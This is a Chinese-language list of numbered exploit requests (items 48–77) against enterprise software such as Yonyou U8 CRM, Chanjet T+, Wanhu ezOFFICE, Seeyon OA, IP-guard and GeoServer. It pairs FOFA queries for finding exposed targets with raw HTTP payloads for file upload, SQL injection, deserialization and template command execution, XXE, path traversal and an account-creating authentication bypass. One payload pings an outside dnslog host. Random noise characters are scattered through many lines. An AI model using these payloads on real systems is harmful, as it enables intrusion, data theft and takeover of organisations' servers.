User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
& i" F1 g8 {  F. I" G' F1 EAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
( Q! C) M% a, ?Accept-Language: zh-CN,zh;q=0.9
! p, B4 V: j# N! }If-Modified-Since: Wed, 11 Oct 2023 05:16:05 GMT
2 l. K1 B& o! _( Q9 [# ]Connection: close

4 }; n- u" T! m1 m; }/ |

48. 用友U8 CRM swfupload 任意文件上传
FOFA：title="用友U8CRM"
POST /ajax/swfupload.php?DontCheckLogin=1&vname=file HTTP/1.1
! H- j( h- c, J  Y1 A& x+ a2 q% LHost: your-ip
* j$ O: |. ]( gUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
# ~4 O$ u/ C" RContent-Type: multipart/form-data;boundary=----269520967239406871642430066855
------269520967239406871642430066855
Content-Disposition: form-data; name="file"; filename="s.php"
& p; s$ m% O( a' O$ j: ^1231
' G! ^5 {8 q. U) x7 ^Content-Type: application/octet-stream
5 y4 B4 u* B8 z/ d& R------269520967239406871642430066855
' v, D/ j6 ~+ V. k  Q0 B& ~Content-Disposition: form-data; name="upload"
2 Y* L9 u7 j1 u+ ]$ y; Jupload
0 Q( G+ @# ~1 _* \------269520967239406871642430066855--
( _. U7 g2 X& A" O$ q. z2 m
4 }& w- ^- F/ M' b( E
49. 用友U8 CRM系统uploadfile.php接口任意文件上传
FOFA：body="用友U8CRM"
* h! f/ i, e( E
9 ]8 E  p( H) J2 f5 C( E+ x  BPOST /ajax/uploadfile.php?DontCheckLogin=1&vname=file HTTP/1.1
Host: x.x.x.x
% _. y' t8 u+ l: L# dUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
) J. u& Z* j" m; o$ P* ~Content-Length: 329
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
- Q2 O  T5 w! I3 ~# ~: X. oAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
, w0 c9 `* W7 t5 C: V% t7 v; eConnection: close
Content-Type: multipart/form-data; boundary=---------------------------vvv3wdayqv3yppdxvn3w
) v% M& H" A+ ~3 i+ i/ K6 b4 O
/ i( l* k* E( D, [: {" z-----------------------------vvv3wdayqv3yppdxvn3w
Content-Disposition: form-data; name="file"; filename="%s.php "
& @: j1 C! {/ U/ ?! D; B2 [Content-Type: application/octet-stream

wersqqmlumloqa
-----------------------------vvv3wdayqv3yppdxvn3w
2 S  H, K! z" \0 RContent-Disposition: form-data; name="upload"
* i8 k$ W! w; g5 o! X! \
# f! K7 z, L% W- pupload
" p& r0 Q1 e9 |3 O-----------------------------vvv3wdayqv3yppdxvn3w--
) c2 ^5 q( P. |- n, @3 k

http://x.x.x.x/tmpfile/updB3CB.tmp.php

50. QDocs Smart School 6.4.1 filterRecords SQL注入
FOFA：body="close closebtnmodal"
8 ?1 h8 ~; Q$ z, ePOST /course/filterRecords/ HTTP/1.1
Host: x.x.x.x
6 t6 s' D( ?$ p5 R" xUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
; B$ t% b0 G! v& zConnection: close
# h7 l; q: Q* S% XContent-Length: 224
7 R# g$ h  a2 f* s: f9 ^5 x0 uAccept: */*
Accept-Language: en
; a5 g: D% h6 X! P, iContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

searchdata[0][title]=&searchdata[0][searchfield]=1&searchdata[0][searchvalue]=1&searchdata[1][title]=1&searchdata[1][searchfield]=1=1 and extractvalue(1,concat(0x5e,(select md5(123456)),0x5e))%23&searchdata[1][searchvalue]=1
0 b) \+ Z' B# @4 L; l
! u8 c$ ]  k* w- Y0 B! t
* H& @. K( N4 O! R1 i' j51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
FOFA：app="云时空社会化商业ERP系统"
GET /sys/user/validateLoginName?loginName=admin'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
8 s/ r" j" R# {- C9 zHost: your-ip
. ^% C7 g8 O; l/ u* s2 \! jUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
* {: P, Q- B- i' e: XAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
* k. S% F+ \/ f% b4 pAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

5 s. N# t8 @7 N  w9 @/ T' J
52. 泛微E-Office json_common.php sql注入
FOFA：app="泛微-EOffice"
POST /building/json_common.php HTTP/1.1
Host: 192.168.86.128:8097
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
Content-Length: 87
Accept: */*
5 W; R, f" O& t3 HAccept-Language: en
: Q. l2 J, z/ `3 N9 c$ |Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
2 }$ h. g0 E1 e+ h3 c$ Z/ ]
tfs=city` where cityId =-1 /*!50000union*/ /*!50000select*/1,2,md5(102103122) ,4#|2|333


53. 迪普 DPTech VPN Service 任意文件上传
% T* g, ^3 A. S& W/ `5 F7 R4 b2 wFOFA：app="DPtech-SSLVPN"
/..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd

% M1 {5 X. r7 S- A- g
54. 畅捷通T+ getstorewarehousebystore 远程代码执行
/ j( P& H& L* LFOFA：app="畅捷通-TPlus"
+ T/ A2 `/ p7 e, E; I; c第一步，向目标发送数据包，执行命令，将指定字符串写入指定文件
% W  F5 ?  e4 X4 u1 A, m"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"

$ @- {+ r2 I0 k; o5 X7 \
6 D% u! W+ q& [完整数据包
POST /tplus/ajaxpro/Ufida.T.CodeBehind._PriorityLevel,App_Code.ashx?method=GetStoreWarehouseByStore HTTP/1.1
& d% w8 w" E+ b7 m% \6 p4 NHost: x.x.x.x
7 }" i7 i5 @1 YUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/4E423F
Content-Length: 593
! m  g7 o+ E2 m# K* d* l/ q' |4 o
/ b5 y- r: ?6 T; Q$ t- A{
. E) J$ n5 f. P' h0 S"storeID":{
"__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
6 q$ j  P8 K: Z! K9 m$ { "MethodName":"Start",
$ C1 Q/ @" s5 t+ b: n  "ObjectInstance":{
   "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
    "StartInfo":{
   "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
  p/ R( q8 u- m/ O( o: s    "FileName":"cmd",
    "Arguments":"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"
4 X- h7 y0 N  O" T8 ]    }
  }
$ u( X3 [' m6 J" Z2 m  }
, e, @% D6 ?) o& u/ E# M}
* N' r/ u2 u' f4 \! ~% y) b
+ F/ a; n+ Y4 j5 K
第二步，访问如下url
) o. |$ ]" n) J8 h4 A- t/tplus/.2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt

1 g5 D+ L/ |$ J$ p0 p4 [
55. 畅捷通T+ getdecallusers信息泄露
: A, u1 e& Z/ t3 u' j3 NFOFA：app="畅捷通-TPlus"
& k" a0 Z2 ?4 e$ G  V9 U5 m第一步，通过
/tplus/ajaxpro/Ufida.T.SM.Login.UIP.LoginManager,Ufida.T.SM.Login.UIP.ashx?method=CheckPassword接口获取Cookie
第二步，利用获取到的Cookie请求
" S# D! [* m1 l% N$ O/tplus/sm/privilege/ajaxpro/Ufida.T.SM.UIP.Privilege.PreviligeControl,Ufida.T.SM.UIP.ashx?method=GetDecAllUsers
& O4 \2 w' d- d& ]3 V3 K6 Z
56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
9 J  B* [6 w2 ^2 {6 S# KFOFA: app="畅捷通-TPlus"
" A+ S. C$ k2 v( t( o$ fPOST /tplus/ajaxpro/Ufida.T.DI.UIP.RRA.RRATableController,Ufida.T.DI.UIP.ashx?method=GetStoreWarehouseByStore HTTP/1.1
! S" ~* L8 r$ D0 q- _Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Content-Type: application/json
4 J; b/ M( B! g" c' i- q5 j, M
{
  "storeID":{
# O4 h* ^# ?4 E* B) [- h7 z+ F1 ^    "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
   "MethodName":"Start",
  K' b2 u2 X4 X    "ObjectInstance":{
       "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
        "StartInfo": {
           "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
3 V. T, I7 m+ {# y6 ~           "FileName":"cmd", "Arguments":"/c ping 6qevyvmi.dnslog.pw"
       }
    }
- _+ m8 M) m& ]! N3 g  }
' I! C" R& A+ e3 d}
! l) ~4 [. \# i
/ A# V& f& ^* `4 D: @
57. 畅捷通T+ keyEdit.aspx SQL注入
+ K1 K+ o' P  K0 v7 r, QFOFA：app="畅捷通-TPlus"
9 O. n* A/ J9 w; {+ V7 k4 J/ `GET /tplus/UFAQD/keyEdit.aspx?KeyID=1%27%20and%201=(select%20@@version)%20--&preload=1 HTTP/1.1
Host: host
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
Connection: close
$ P$ _! |* y- d$ N: C2 T& N8 g. X( g, b

58. 畅捷通T+ KeyInfoList.aspx sql注入
3 q2 F& N: M, N- _( Z1 bFOFA：app="畅捷通-TPlus"
GET /tplus/UFAQD/KeyInfoList.aspx?preload=1&zt=')AND+1+IN+(SELECT+sys.fn_varbintohexstr(hashbytes('MD5','123456')))--+ HTTP/1.1
Host: your-ip
5 a9 ~5 l* {& M( {" EUser-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
5 ~( U% q& ?) G& Z/ sAccept-Charset: utf-8
' D2 J' O6 M% ^0 e1 E7 _Accept-Encoding: gzip, deflate
. d' u) r; P: k1 t5 p- xConnection: close

  j! H' e8 P2 h2 ?9 n
& B  h# }" [$ {1 ]! W' D59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
FOFA: title="@XETUX" && title="XPOS" && body="BackEnd"
POST /xc-one-pos/javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1
Host: 192.168.86.128:9090
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
Connection: close
Content-Length: 1669
Accept: */*
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
1 }% x: R% b9 t
: F8 {# ?: S( b; M6 ?4 K! Y& nPAYLOAD

4 h1 z! q" F" S' p2 C6 k/ c0 @
60. 百卓Smart管理平台 importexport.php SQL注入
. j; O! g+ a, L  @5 @( @FOFA：title="Smart管理平台"
GET /importexport.php?sql=c2VsZWN0IDEsdXNlcigpLDM=&type=exportexcelbysql HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
) {9 P: r0 ^4 q) X2 ]2 |Accept-Language: zh-CN,zh;q=0.9
: ?' J* u: q/ {Connection: close


61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
7 u! r2 K. M9 G1 ~7 F* c0 ~FOFA: title="欢迎使用浙大恩特客户资源管理系统"
POST /entsoft_en/entereditor/jsp/fileupload.jsp?filename=8uxssX66eqrqtKObcVa0kid98xa.jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 27
0 X/ s, S3 g# PAccept: */*
1 y0 h- l6 m  p. t  _/ a$ I' VAccept-Encoding: gzip, deflate
% |% x& x6 I- h6 rAccept-Language: en
Content-Type: application/x-www-form-urlencoded
. i; a4 G" I9 V# w( ]0 d5 x! L
8uxssX66eqrqtKObcVa0kid98xa
0 ~( v- @2 G$ L$ F0 [

62. IP-guard WebServer 远程命令执行
FOFA："IP-guard" && icon_hash="2030860561"
GET /ipg/static/appr/lib/flexpaper/php/view.php?doc=11.jpg&format=swf&isSplit=true&page=||echo+"09kdujzKJDLinkQTLfGzMMKDJ23HJ"+>09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
Host: x.x.x.x
) x( J" o6 J6 x; f; L9 lUser-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2919.83 Safari/537.36
Connection: close
Accept: */*
; F; f5 j1 Z. O1 d1 _( I2 f% I( }Accept-Language: en
Accept-Encoding: gzip
( L: U) V- G% C( Z
0 T7 q' P" f3 Q! l# ?7 X1 s
访问

& m4 K4 N- y: P5 m% {* R3 p: sGET /ipg/static/appr/lib/flexpaper/php/09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
, T" c; ]. c/ B& }* c8 f7 r! fHost: x.x.x.x
8 N8 L9 t/ m4 E* q' n8 b, f! [
1 I5 K2 d* q) t5 l2 T$ i
9 `/ ~' k( }) X* O8 t0 \; k, g63. IP-guard WebServer任意文件读取
IP-guard < 4.82.0609.0
FOFA：icon_hash="2030860561"
( B7 o9 P) B1 z5 p& O; nPOST /ipg/appr/MApplyList/downloadFile_client/getdatarecord HTTP/1.1
Host: your-ip
# V$ Y! b) R1 l* a4 a9 s: S3 CUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
/ M% R' e8 I8 t' r1 p# w& mAccept-Encoding: gzip, deflate
# }) j( I/ X) b# ]' j5 Y( iAccept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded

7 V) C; K  R8 f, Kpath=..%2Fconfig.ini&filename=1&action=download&hidGuid=1v%0D%0A

64. 捷诚管理信息系统CWSFinanceCommon SQL注入
FOFA：body="/Scripts/EnjoyMsg.js"
: s% Q% N8 b* `' t8 Z, u) v" I' ePOST /EnjoyRMIS_WS/WS/APS/CWSFinanceCommon.asmx HTTP/1.1
0 K6 D$ X& u# \3 }# O. H% u7 [Host: 192.168.86.128:9001
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
Connection: close
+ |) F9 h6 W3 ?Content-Length: 369
Accept: */*
Accept-Language: en
& X3 J' R0 p4 H7 NContent-Type: text/xml; charset=utf-8
Accept-Encoding: gzip

: z$ W( K4 @$ y! B<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
9 M6 Y3 m/ ~5 ]  L( s2 |<soap:Body>
    <GetOSpById xmlns="http://tempuri.org/">
7 p% ^6 k$ U! ~) N0 d* X      <sId>1';waitfor delay '0:0:5'--+</sId>
    </GetOSpById>
; T, V' |+ j9 X5 Y  </soap:Body>
2 l4 i2 N5 e2 c0 ^# L: j% V</soap:Envelope>
; r8 L, `) j1 p5 R" K" {0 c" [

65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
9 X, e, i5 F) ?+ @  {* B  bFOFA：title="欢迎使用脸爱云 一脸通智慧管理平台"
6 N3 |4 l# U) ~/ j: b  F+ M响应200即成功创建账号test123456/123456
POST /SystemMng.ashx HTTP/1.1
Host:
9 Y' f9 Y2 d9 [. y( dUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
% z) x( d) q% K: c' XAccept-Encoding: gzip, deflate
Accept: */*
Connection: close
2 ]- Y& o3 ~9 a$ @% l+ _Accept-Language: en
) ~" I" j) }$ w* X6 v. P$ TContent-Length: 174
, z/ I1 w+ l. U
operatorName=test123456&operatorPwd=123456&operpassword=123456&operatorRole=00&visible_jh=%E8%AF%B7%E9%80%89%E6%8B%A9&visible_dorm=%E8%AF%B7%E9%80%89%E6%8B%A9&funcName=addOperators

5 D* a4 N* E. A3 ]& ^8 x+ s
66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
FOFA：app="万户ezOFFICE协同管理平台"
6 i/ K0 L0 Z( B; l: W
GET /defaultroot/public/iWebOfficeSign/Template/SendFileCheckTemplateEdit.jsp?RecordID=1'%20UNION%20ALL%20SELECT%20sys.fn_sqlvarbasetostr(HashBytes(%27MD5%27,%27102103122%27))%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL-- HTTP/1.1
1 t" _% \: {* RHost: x.x.x.x
9 R' J+ q9 q; T3 xUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
4 Z6 L" g1 }: z. u4 a7 o/ GConnection: close
Accept: */*
+ n" h8 L) l; Y, K5 x1 E, IAccept-Language: en
  |; B1 z3 G# P  I7 w4 W3 ZAccept-Encoding: gzip

3 N) q( c$ F  d0 A0 N8 k6 O- m
; o* o1 r3 Z9 t; V# u第42,43行包含6cfe798ba8e5b85feb50164c59f4bec9字符串证明漏洞存在
  i( o- _. F$ n3 X- ]+ m2 M( r! y
! s' Q) @# c7 K# N' s/ A9 @8 t) A  k67. 万户ezOFFICE wpsservlet任意文件上传
& |5 T1 @+ ~7 ?9 B/ R1 ~FOFA：app="万户网络-ezOFFICE"
, s1 X7 w" e9 q) A+ u' |5 O4 M2 A! \, tnewdocId和filename参数表示写入文件名称，dir参数表示写入文件的路径，fileType参数表示文件类型
& k0 d# `' V# o$ M* H" I7 G: oPOST /defaultroot/wpsservlet?option=saveNewFile&newdocId=apoxkq&dir=../platform/portal/layout/&fileType=.jsp HTTP/1.1
  z3 H  e" h) Z3 A: fHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Content-Length: 173
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
8 G$ Z" Z) j3 P. j: K9 ^( uAccept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
! m( C& B( {1 t7 pConnection: close
8 f" t9 X# J% i  g9 I3 X3 XContent-Type: multipart/form-data; boundary=ufuadpxathqvxfqnuyuqaozvseiueerp
" G4 t8 A" y) C& G1 H# ?7 b* sDNT: 1
Upgrade-Insecure-Requests: 1

4 `; k- W. N5 M--ufuadpxathqvxfqnuyuqaozvseiueerp
# ^; c6 P# x7 ^Content-Disposition: form-data; name="NewFile"; filename="apoxkq.jsp"
' `, |4 o4 j$ _6 c
<% out.print("sasdfghjkj");%>
! m3 K- B6 D, S--ufuadpxathqvxfqnuyuqaozvseiueerp--
$ _% h! M- s" Q1 v' f

文件回显路径为/defaultroot/platform/portal/layout/apoxkq.jsp
: F- B; ~. ^2 P5 P* u2 w
# L7 [3 W0 j1 A; L9 t68. 万户ezOFFICE wf_printnum.jsp SQL注入
9 t( z- G8 B3 J& H4 [FOFA：app="万户ezOFFICE协同管理平台"
; U8 ?# O% Z* e9 R6 p  e2 MGET /defaultroot/platform/bpm/work_flow/operate/wf_printnum.jsp;.js?recordId=1;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
Host: {{host}}
! ~5 k& S" M* b6 T( D: OUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
Accept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
+ ~! M" V! f3 `6 Q" L7 f6 KAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
9 L. s/ b- h) V, \
, n& N; L: h8 i0 i- h" w+ Z
69. 万户 ezOFFICE contract_gd.jsp SQL注入
. z0 O% V4 b  sFOFA：app="万户ezOFFICE协同管理平台"
GET /defaultroot/modules/subsidiary/contract/contract_gd.jsp;.js?gd=1&gd_startUserCode=1%27%3Bwaitfor%20delay%20%270%3A0%3A5%27-- HTTP/1.1
Host: your-ip
- D( q; F) _  z" g  G, C( Q6 PUser-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
, W' ?6 E$ Z* o' ~Accept-Encoding: gzip, deflate
Accept: */*
( I/ |  q% ?2 z2 UConnection: keep-alive
- ^0 I, e  E  u6 ?: L7 J
: v5 _& h0 w6 O& @: @* d
2 Y2 ^! i' R# R# U' i4 H70. 万户ezEIP success 命令执行
" a- P4 Z# X% e/ z. y( V! yFOFA：app="万户网络-ezEIP"
POST /member/success.aspx HTTP/1.1
Host: {{Hostname}}
* w3 _5 ]' D  a3 s# g+ SUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
SID: dHlwZSBDOlxXaW5kb3dzXHdpbi5pbmk=
Content-Type: application/x-www-form-urlencoded
TYPE: C
$ a, e: \2 N7 X' A7 K, RContent-Length: 16702

( m( u- K! a- k# P/ Z1 G, i__VIEWSTATE=PAYLOAD
' {4 w) P7 ]8 V% C* q1 e  u
& [4 n: i. R2 E7 d+ S0 ?8 y
71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
+ W  p. n+ }! v" _- JFOFA：body="PM2项目管理系统BS版增强工具.zip"
GET /Global/Global_UserLogin.aspx?accId=1%27%3BWAITFOR+DELAY+%270%3A0%3A5%27--&loginCode&password&type HTTP/1.1
Host: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
Connection: close
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
' ]% ^$ u- ?0 P# i: ZUpgrade-Insecure-Requests: 1

" ^) R8 A5 @5 Q3 A8 ^0 D
72. 致远OA getAjaxDataServlet XXE
FOFA：app="致远互联-OA"
POST /seeyon/m-signature/RunSignature/run/getAjaxDataServlet HTTP/1.1
Host: 192.168.40.131:8099
User-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
Connection: close
+ E5 `/ l, F, ]Content-Length: 583
4 ^3 p7 d( n" w- _$ ZContent-Type: application/x-www-form-urlencoded
7 ~7 P/ L, t6 x5 ?3 E) VAccept-Encoding: gzip
- j$ v$ A, R/ t0 `
S=ajaxColManager&M=colDelLock&imgvalue=lr7V9+0XCEhZ5KUijesavRASMmpz%2FJcFgNqW4G2x63IPfOy%3DYudDQ1bnHT8BLtwokmb%2Fk&signwidth=4.0&signheight=4.0&xmlValue=%3C%3Fxml+version%3D%221.0%22%3F%3E%0D%0A%3C%21DOCTYPE+foo+%5B%0D%0A++%3C%21ELEMENT+foo+ANY+%3E%0D%0A++%3C%21ENTITY+xxe+SYSTEM+%22file%3A%2F%2F%2Fc%3A%2Fwindows%2Fwin.ini%22+%3E%0D%0A%55D%3E%0D%0A%3CSignature%3E%3CField%3E%3Ca+Index%3D%22ProtectItem%22%3Etrue%3C%2Fa%3E%3Cb+Index%3D%22Caption%22%3Ecaption%3C%2Fb%3E%3Cc+Index%3D%22ID%22%3Eid%3C%2Fc%3E%3Cdd+Index%3D%22VALUE%22%3E%26xxe%3B%3C%2Fd%3E%3C%2FField%3E%3C%2FSignature%3E


& Q) m/ u* a( r% o  }; f/ `73. GeoServer wms远程代码执行
: v* I/ B4 Z' r- e. i3 c" uFOFA：icon_hash=”97540678”
POST /geoserver/wms HTTP/1.1
Host:
* V- ^0 b) F" O, Q& \User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
7 d3 \0 z- _& A" T" l3 V  \' j" NContent-Length: 1981
/ A& H4 A; q2 A8 L1 k$ O! R: rAccept-Encoding: gzip, deflate
5 S9 Q1 u; W/ K5 z' Q+ BConnection: close
! e. L) J; s9 t+ Y( ^) x: k, c( JContent-Type: application/xml
SL-CE-SUID: 3

PAYLOAD

0 L% n( `) j% E: m, s/ N
74. 致远M3-server 6_1sp1 反序列化RCE
FOFA：title="M3-Server"
PAYLOAD
' V2 }& A+ {+ t+ i: Z
75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
FOFA：app="TELESQUARE-TLR-2005KSH"
GET /cgi-bin/admin.cgi?Command=setSyncTimeHost&time=`ifconfig>test28256.txt` HTTP/1.1
  P1 L+ D& r0 i" H9 k; K  RHost: x.x.x.x
3 a8 M3 K2 y" Q3 J- fUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
+ R/ H7 n  i% r8 y' h  X% q& HConnection: close
Accept: */*
2 q" G4 r, }2 ?1 U8 S1 D5 fAccept-Language: en
Accept-Encoding: gzip
6 k3 r- L/ v* Z$ P6 D4 x3 T/ Z

GET /cgi-bin/test28256.txt HTTP/1.1
Host: x.x.x.x
: b) R$ J! ?2 V. Q
  p3 y$ c- k2 q' d
76. 新开普掌上校园服务管理平台service.action远程命令执行
FOFA：title="掌上校园服务管理平台"
! S: o+ D5 l, c0 j; b6 U# wPOST /service_transport/service.action HTTP/1.1
6 y" Q2 y2 n5 B0 r6 }Host: x.x.x.x
8 ^% S; R3 ?! E* e. ~8 \/ MUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Connection: close
Content-Length: 211
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
4 v+ O% C) F& eCookie: JSESSIONID=6A13B163B0FA9A5F8FE53D4153AC13A4
& w& a  a5 x5 R+ f! h0 {Upgrade-Insecure-Requests: 1

{
"command": "GetFZinfo",
  "UnitCode": "<#assign ex = \"freemarker.template.utility.Execute\"
( g& N8 {( B" M* Z- k! Y  ?new()>${ex(\"cmd /c echo 9d8ajikdujw8ejd9wjdfkfu8 >./webapps/ROOT/9d8ajikdujw8ejd9wjdfkfu8.txt\")}"
9 Z; F7 g% u  j' H}

& p3 W* k) `. X- T
% S9 O! V2 ^2 i1 [* @GET /9d8ajikdujw8ejd9wjdfkfu8.txt HTTP/1.1
Host: x.x.x.x

0 U* O$ R$ E# ?- m$ i7 X6 k2 E  x

77. F22服装管理软件系统UploadHandler.ashx任意文件上传
$ [8 {4 x6 R- T. c" d) g& j! aFOFA：body="F22WEB登陆"
POST /CuteSoft_Client/UploadHandler.ashx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
5 `3 f$ y, X  W  N$ sConnection: close
